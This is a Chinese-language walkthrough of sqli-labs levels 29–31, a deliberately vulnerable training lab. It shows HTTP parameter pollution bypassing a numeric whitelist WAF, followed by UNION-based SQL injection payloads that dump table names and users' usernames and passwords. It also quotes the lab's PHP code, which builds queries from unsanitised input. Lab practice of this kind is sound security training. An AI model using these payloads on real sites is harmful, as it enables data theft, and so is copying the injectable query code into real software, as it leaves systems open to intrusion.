sqli-labs 通關指南:Less 29、30、31
Less 29、30、31 都使用了 WAF 進行引數過濾,此處我們需要對 WAF 進行繞過再進行注入。可以使用 HPP 引數汙染攻擊,繞過 WAF 之後的注入過程和 Less 1 一樣。
Less 29
判斷注入型別
注入正常的引數,網頁返回正常的資訊。注入單引號閉合,網頁被切換到 hacked.php,可以看到注入的引數被 WAF 防禦了。WAF (Web 應用防護系統)
繞過的方法是 HPP (HTTP Parameter Pollution),也就是 HTTP 引數汙染。我們注入兩個同名的引數 id,第一個引數用於繞過 WAF,第二個引數用於注入。
?id=1&id=2
可以看到這種攻擊成功繞過了 WAF,對第二個引數用單引號閉合並註釋掉後面的內容。網頁回顯正常的引數,說明網頁存在單引號閉合的字元型注入。
?id=1&id=2'--+
獲取資料庫資訊
使用引數汙染後,注入流程和 Less 1 一樣。判斷表有幾列。
?id=1&id=1' ORDER BY 3--+
判斷哪些列可用。
?id=1&id=-1' UNION SELECT 1,2,3--+
爆資料庫名。
?id=1&id=-1' UNION SELECT 1,database(),3 --+
爆表名。
?id=1&id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
爆欄位名。
?id=1&id=-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
獲取目標資訊
爆出 users 表中的資訊。
?id=1&id=-1' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
關卡原始碼
SQL 查詢語句
原始碼如下,原始碼通過了 java_implimentation() 方法獲取到了 id 引數。接著原始碼使用 GET 方法獲取 id 引數,並通過 whitelist() 方法判斷引數是否合法。注意我們在上面傳入了 2 個同名引數,使用 GET 方法獲取到的是後面的引數。
// take the variables
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint = $qs;
$id1 = java_implimentation($qs);
$id = $_GET['id'];
//echo $id1;
whitelist($id1);
// connectivity
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
java_implimentation() 方法
該方法將 GET 讀入的整行引數使用 explode() 方法對 “&” 進行分割,返回一個分割後的陣列。接著方法通過 substr() 方法提取對 “&” 分割後的第一個元素的前 2 個字元,若這 2 個字元是 “id”,則再次使用 substr() 方法提取等號後面的值返回。注意該方法提取的是 2 個同名變數中的第一個,因此它無法對第二個同名變數進行操作。
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array = explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val = substr($value,0,2);
if($val == "id")
{
$id_value = substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
whitelist() 方法
該方法使用正則表示式判斷傳入的引數是否是數字,若不是數字則跳轉頁面。由於注入 2 個同名引數時,java_implimentation() 方法返回的引數是第一個 id 引數,此時這個過濾就被我們繞過了。
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
Less 30
判斷注入型別
注入正常的引數,網頁返回正常的資訊。注入單引號閉合,此處引數也被 WAF 防禦了,注入兩個同名的引數 id 進行引數汙染。對第二個引數用單引號閉合並註釋掉後面的內容,網頁回顯正常的資訊,說明此處不是單引號閉合的。
?id=1&id=2'
測試多種引數,測試到用雙引號閉合時返回錯誤資訊,把後面的內容註釋掉後回顯正確的資訊,說明網頁存在雙引號閉合的字元型注入。
?id=1&id=2"
?id=1&id=2"--+
獲取資料庫資訊
除了閉合的是雙引號,注入流程和 Less 29 一樣。判斷表有幾列。
?id=1&id=2" ORDER BY 3--+
判斷哪些列可用。
?id=1&id=-1" UNION SELECT 1,2,3--+
爆資料庫名。
?id=1&id=-1" UNION SELECT 1,database(),3 --+
爆表名。
?id=1&id=-1" UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
爆欄位名。
?id=1&id=-1" union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
獲取目標資訊
爆出 users 表中的資訊。
?id=1&id=-1" UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
關卡 SQL 查詢語句
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint = $qs;
$id1 = java_implimentation($qs);
$id = $_GET['id'];
//echo $id1;
whitelist($id1);
$id = '"' .$id. '"';
// connectivity
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
Less 31
判斷注入型別
注入正常的引數,網頁返回正常的資訊。注入單引號閉合,此處引數也被 WAF 防禦了,注入兩個同名的引數 id 進行引數汙染。對第二個引數用單引號閉合並註釋掉後面的內容,網頁回顯正常的資訊,說明此處不是單引號閉合的。
?id=1&id=2'
測試多種引數,測試到用雙引號和括號閉合時返回錯誤資訊,把後面的內容註釋掉後回顯正確的資訊,說明網頁存在雙引號和括號閉合的字元型注入。
?id=1&id=2")
?id=1&id=2")--+
獲取資料庫資訊
除了閉合的是雙引號和括號,注入流程和 Less 30 一樣。判斷表有幾列。
?id=1&id=2") ORDER BY 3--+
判斷哪些列可用。
?id=1&id=-1") UNION SELECT 1,2,3--+
爆資料庫名。
?id=1&id=-1") UNION SELECT 1,database(),3 --+
爆表名。
?id=1&id=-1") UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
爆欄位名。
?id=1&id=-1") union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
獲取目標資訊
爆出 users 表中的資訊。
?id=1&id=-1") UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
關卡 SQL 查詢語句
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint = $qs;
$id1 = java_implimentation($qs);
$id = $_GET['id'];
//echo $id1;
whitelist($id1);
$id = '"' .$id. '"';
// connectivity
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}